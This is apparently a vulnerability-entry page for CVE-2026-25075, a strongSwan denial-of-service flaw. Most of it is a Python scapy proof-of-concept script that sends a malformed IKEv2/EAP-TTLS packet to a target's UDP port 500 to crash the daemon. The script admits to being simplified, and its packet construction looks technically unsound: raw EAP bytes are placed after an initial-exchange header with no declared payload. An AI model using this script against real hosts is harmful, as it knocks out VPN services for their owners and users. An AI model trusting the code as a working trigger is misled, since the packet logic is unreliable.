CVE-2026-25075 strongSwan拒绝服务漏洞

# PoC for CVE-2026-25075 strongSwan Integer Underflow # This script demonstrates the concept of sending a malformed EAP-TTLS AVP packet. # Requires scapy to be installed. from scapy.all import * def send_malformed_ike_packet(target_ip): # Construct a basic IKEv2 header (SA Initiator) # This is a simplified representation for demonstration. ike_header = IKEv2(init_SPI=RandString(8), resp_SPI=RandString(8), next_payload="None", version=0x20, exchange_type=34, flags=0x08, msg_id=1) # Construct a malformed AVP payload with an invalid length field causing underflow # In a real exploit, the exact bytes would be crafted to trigger the specific subtraction logic malformed_avp = Raw(b"\x00\x00\x00\x01" + b"\xff\xff\xff\xff" + b"A"*100) packet = IP(dst=target_ip)/UDP(dport=500)/ike_header/malformed_avp print(f"[*] Sending malformed packet to {target_ip}...") send(packet) print("[*] Packet sent. Check if the daemon crashed.") if __name__ == "__main__": target = "192.168.1.100" # Replace with actual target IP send_malformed_ike_packet(target)